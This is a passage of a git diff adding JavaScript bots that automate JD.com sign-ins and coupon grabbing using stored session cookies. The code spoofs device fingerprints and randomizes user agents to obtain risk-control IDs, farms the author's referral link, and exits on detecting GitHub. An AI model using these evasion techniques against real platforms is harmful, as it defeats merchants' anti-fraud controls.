try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + let state = data.resultData.data.sign + console.log('获取签到状态成功', state ? '今日已签到' : '今日未签到', '连续签到', data.resultData.data.signContinuity, '天\n') + if (!state) await signOfJinTie() + } else { + console.log('获取签到状态失败', data.resultData.msg) + } + } else { + console.log('获取签到状态失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//签到 +function signOfJinTie() { + const body = JSON.stringify({ + channel: "sqcs", + "riskDeviceParam": JSON.stringify({ + appId: "jdapp", + appType: "3", + clientVersion: "9.4.6", + deviceType: "iPhone11,8", + "eid": cookie, + "fp": getFp(), + idfa: "", + imei: "", + ip: "", + macAddress: "", + networkType: "WIFI", + os: "iOS", + osVersion: "14.2", + token: "", + uuid: "" + }) + }) + const options = taskUrl('signOfJinTie', body, 'jrm'); + return new Promise((resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + console.log('签到成功', data.resultData.data.amount) + } else { + console.log('签到失败', data.resultData.msg) + } + } else { + console.log('签到失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function queryAvailableSubsidyAmount() { + const body = JSON.stringify({ + channel: "sqcs", + "riskDeviceParam": JSON.stringify({ + appId: "jdapp", + appType: "3", + clientVersion: "9.4.6", + deviceType: "iPhone11,8", + "eid": cookie, + "fp": getFp(), + idfa: "", + imei: "", + ip: "", + macAddress: "", + networkType: "WIFI", + os: "iOS", + osVersion: "14.2", + token: "", + uuid: "" + }) + }) + const options = taskUrl('queryAvailableSubsidyAmount', body, 'jrm'); + return new Promise((resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + console.log(`获取当前总金贴成功\n\n京东账号${$.index} ${$.nickName || $.UserName} 当前总金贴:${data.resultData.data}元`) + } else { + console.log('获取当前总金贴失败', data.resultData.msg) + } + } else { + console.log('获取当前总金贴失败', data.resultMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +async function doTask() { + for (let task of $.willTask) { + console.log(`\n开始领取 【${task['name']}】任务`); + await receiveMission(task['missionId']); + await $.wait(100) + if (task.doLink.indexOf('readTime=') !== -1) { + const readTime = parseInt(task.doLink.substr(task.doLink.indexOf('readTime=') + 9)); + await finishReadMission(task['missionId'], readTime); + await $.wait(200); + } else if (task.detail.indexOf('京东到家') !== -1) { + + } else if ((task.detail.indexOf('关注') !== -1 || task.detail.indexOf('收藏')) && task.doLink.indexOf('shopId') !== -1) { + const shopId = task.doLink.substr(task.doLink.indexOf('shopId=') + 7); + } + } +} +function taskUrl(function_id, body, type = 'mission') { + return { + url: `https://ms.jr.jd.com/gw/generic/${type}/h5/m/${function_id}?reqData=${encodeURIComponent(body)}`, + headers: { + 'Accept' : `*/*`, + 'Origin' : `https://u.jr.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie' : cookie, + 'Content-Type' : `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host' : `ms.jr.jd.com`, + 'Connection' : `keep-alive`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer' : `https://u.jr.jd.com/`, + 'Accept-Language' : `zh-cn` + } + } +} +function getFp() { + // const crypto = require('crypto'); + // let fp = crypto.createHash("md5").update($.UserName + '573.9', "utf8").digest("hex").substr(4, 16) + return "" +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_jingxianghongbao.js b/jd_jingxianghongbao.js new file mode 100644 index 0000000000..5176beba11 --- /dev/null +++ b/jd_jingxianghongbao.js @@ -0,0 +1,598 @@ +/* +京享红包 +3L9j2tP 可替换8处为自己ID +https://u.jd.com/3L9j2tP +0 0,12,18 * * * +*/ + +const $ = new Env('双十一无门槛红包🧧'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +const Faker = require('./utils/sign_graphics_validate.js') +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +message = '' +newCookie = '' +resMsg = '' +const activeEndTime = '2021/11/12 00:00:00+08:00';//活动结束时间 +let nowTime = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (nowTime > new Date(activeEndTime).getTime()) { + $.msg($.name, '活动已结束', `请删除此脚本\n咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`); + return + } + $.shareCode = 'T1Adi' + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + } + } + if (message) { + $.msg($.name, ``, `${message}\nhttps://u.jd.com/3L9j2tP\n\n跳转到app 可查看助力情况`); + if ($.isNode()) { + await notify.sendNotify(`${$.name}`, `${message}\n\nhttps://u.jd.com/3L9j2tP\n跳转到app 可查看助力情况`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run() { + try { + resMsg = '' + let s = 0 + let t = 1 + do { + $.flag = 0 + newCookie = '' + await getUrl() + if (!$.url1) { + console.log('获取url1失败') + t = 0 + break + } + await getUrl1() + if (!$.url2) { + console.log('获取url2失败') + t = 0 + break + } + $.actId = $.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1] || '2GdKXzvywVytLvcJTk2K3pLtDEHq' + let arr = await Faker.getBody($.UA, $.url2) + await getEid(arr) + if (!$.eid) { + $.eid = -1 + } + if (s == 0) { + await getCoupons($.shareCode) + } else { + await getCoupons() + } + s++ + await $.wait(parseInt(Math.random() * 5000 + 3000, 10)) + } while ($.flag == 1 && s < 10) + if ($.index == 1 && t == 1) { + await $.wait(parseInt(Math.random() * 2000 + 1000, 10)) + await shareUnionCoupon() + } + if (resMsg) { + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${resMsg}` + } + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + } catch (e) { + console.log(e) + } +} + +function getCoupons(shareId = '') { + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=getCoupons&appid=u&_=${Date.now()}&loginType=2&body={%22platform%22:4,%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22d%22:%223L9j2tP%22,%22unionShareId%22:%22${shareId}%22,%22type%22:1,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6&h5st=undefined`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA, + } + } + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data, data); + if (typeof res == 'object') { + if (res.msg) console.log(res.msg) + if (res.msg.indexOf('上限') === -1) { + $.flag = 1 + } + if (shareId && typeof res.data !== 'undefined' && typeof res.data.joinNum !== 'undefined') { + console.log(`当前${res.data.joinSuffix}:${res.data.joinNum}`) + } + if (res.code == 0 && res.data) { + let msg = '' + if (res.data.type == 1) { + msg = `获得[红包]🧧${res.data.discount}元 使用时间:${$.time('yyyy-MM-dd', res.data.beginTime)} ${$.time('yyyy-MM-dd', res.data.endTime)}` + } else if (res.data.type == 3) { + msg = `获得[优惠券]🎟️满${res.data.quota}减${res.data.discount} 使用时间:${$.time('yyyy-MM-dd', res.data.beginTime)} ${$.time('yyyy-MM-dd', res.data.endTime)}` + } else if (res.data.type == 6) { + msg = `获得[打折券]]🎫满${res.data.quota}打${res.data.discount * 10}折 使用时间:${$.time('yyyy-MM-dd', res.data.beginTime)} ${$.time('yyyy-MM-dd', res.data.endTime)}` + } else { + msg = `获得[未知]🎉${res.data.quota || ''} ${res.data.discount} 使用时间:${$.time('yyyy-MM-dd', res.data.beginTime)} ${$.time('yyyy-MM-dd', res.data.endTime)}` + console.log(data) + } + if (msg) { + resMsg += msg + '\n' + console.log(msg) + } + } + } else { + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function shareUnionCoupon() { + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=shareUnionCoupon&appid=u&_=${Date.now()}&loginType=2&body={%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22platform%22:4,%22unionShareId%22:%22${$.shareCode}%22,%22d%22:%223L9j2tP%22,%22supportPic%22:2,%22supportLuckyCode%22:0,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA, + } + } + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data, data); + if (typeof res == 'object') { + if (res.code == 0 && res.data && res.data.shareUrl) { + $.shareCode = res.data.shareUrl.match(/3L9j2tP\?s=([^&]+)/) && res.data.shareUrl.match(/3L9j2tP\?s=([^&]+)/)[1] || '' + console.log('分享码:' + $.shareCode) + if ($.shareCode) console.log(`以下账号会助力【京东账号${$.index}】${$.nickName || $.UserName}`) + } + } else { + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function getUrl1() { + return new Promise(resolve => { + const options = { + url: $.url1, + followRedirect: false, + headers: { + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + setActivityCookie(resp) + $.url2 = resp && resp['headers'] && (resp['headers']['location'] || resp['headers']['Location'] || '') || '' + $.url2 = decodeURIComponent($.url2) + $.url2 = $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getUrl() { + return new Promise(resolve => { + const options = { + url: `https://u.jd.com/3L9j2tP?s=${$.shareCode}`, + followRedirect: false, + headers: { + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + setActivityCookie(resp) + $.url1 = data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function setActivityCookie(resp) { + let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' + let setcookie = '' + if (setcookies) { + if (typeof setcookies != 'object') { + setcookie = setcookies.split(',') + } else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if (name.split("=")[1]) { + if (newCookie.indexOf(name.split("=")[1]) == -1) newCookie += name.replace(/ /g, '') + '; ' + } + } + } +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getUA() { + $.UA = `jdapp;iPhone;10.2.0;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460611;appBuild/167853;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = {url: `http://${h}/v1/scripting/evaluate`, body: {script_text: t, mock_type: "cron", timeout: r}, headers: {"X-Key": o, Accept: "*/*"}}; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = {"M+": s.getMonth() + 1, "d+": s.getDate(), 